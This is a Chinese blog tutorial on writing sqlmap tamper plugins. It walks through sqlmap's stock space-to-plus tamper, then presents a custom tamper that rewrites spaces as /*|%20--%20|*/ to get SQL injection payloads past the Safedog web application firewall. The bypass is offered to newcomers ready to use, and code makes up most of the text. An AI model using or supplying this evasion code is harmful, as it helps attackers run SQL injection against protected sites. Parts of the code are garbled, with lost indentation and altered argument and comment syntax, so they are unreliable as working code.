SQLMAP系列之《tamper过狗插件的编写》

原文：SQLMAP之tamper过狗插件的编写

昨天看到有个小白问SQLMAP怎么过一些防护这个我就很蛋疼了，
还好团队里面有人写过过狗的tamper的插件我就拿来给大家分析分析他们的原理和构造。
因为sqlmap是国外开发的神器所以没有过狗的相关插件，
所以我们先拿tamper里面有的插件来分析分析他是如何构造的好让我们用更多套路饶过他。
我在tamper里面找到一个特别简单的一个插件，
我们来分析分析他的构成。

代码如下：

（不知道什么原因，代码放不到一起去）
**----------------------------------------------------

!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')

Notes:
    * Is this any useful? The plus get's url-encoded by sqlmap engine
      invalidating the query afterwards
    * This tamper script works against all databases

>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""

retVal = payload

if payload:
    retVal = ""
    quote, doublequote, firstspace = False, False, False

    for i in xrange(len(payload)):
        if not firstspace:
            if payload[i].isspace():
                firstspace = True
                retVal += "+"
                continue

        elif payload[i] == '\'':
            quote = not quote

        elif payload[i] == '"':
            doublequote = not doublequote

        elif payload[i] == " " and not doublequote and not quote:
            retVal += "+"
            continue

        retVal += payload[i]

return retVal

Replaces space character (' ') with plus ('+')写的是他的注释说的是替换空格为+绕过空格过滤规则。下面我们看他的编写部分。

    for i in xrange(len(payload)):
        if not firstspace:
            if payload[i].isspace():
                firstspace = True
                retVal += "+"
                continue

        elif payload[i] == '\'':
            quote = not quote

        elif payload[i] == '"':
            doublequote = not doublequote

        elif payload[i] == " " and not doublequote and not quote:
            retVal += "+"
            continue

        retVal += payload[i]

这里上述代码第一行xrange(len(payload)会返回一个迭代序列，可以用来实现循环。if payload.isspace(): 判断是否有空格，如果有那就继续执行下面的语句。然后继续使用elif语句进行判断。Payload值如果存在空格，并且不是双引号，也不是单引号，继续执行下面的语句进行替换。其实我们编写别的插件需要构造别的插件需要替换的是这串代码。

retVal += "+"

我们大致了解了插件的编写这里我们来编写我们的过狗插件。那团队某位牛写的给大家分析。

代码如下

（不知道什么原因，代码放不到一起去）

*#!/usr/bin/env python

"""
write by sebao
2016.05.29
"""

from lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, kwargs):
"""
Replaces space character (' ') with plus ('/|%20--%20|/')

>>> tamper('SELECT id FROM users')
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
    By sebao
"""

retVal = payload

if payload:
    retVal = ""
    quote, doublequote, firstspace = False, False, False

    for i in xrange(len(payload)):
        if not firstspace:
            if payload[i].isspace():
                firstspace = True
                retVal += "/*|%20--%20|*/"
                continue

        elif payload[i] == '\'':
            quote = not quote

        elif payload[i] == '"':
            doublequote = not doublequote

        elif payload[i] == " " and not doublequote and not quote:
            retVal += "/*|%20--%20|*/"
            continue

        retVal += payload[i]

return retVal

大家可以看到这串注释 Replaces space character (' ') with plus ('/|%20--%20|/')
换空格为（/|%20--%20|/）绕过过滤规则。【这是以前的过狗办法】
下面的还要我分析吗？？？
很显然不用了吧.......】
只需要替换这两处就可以了.】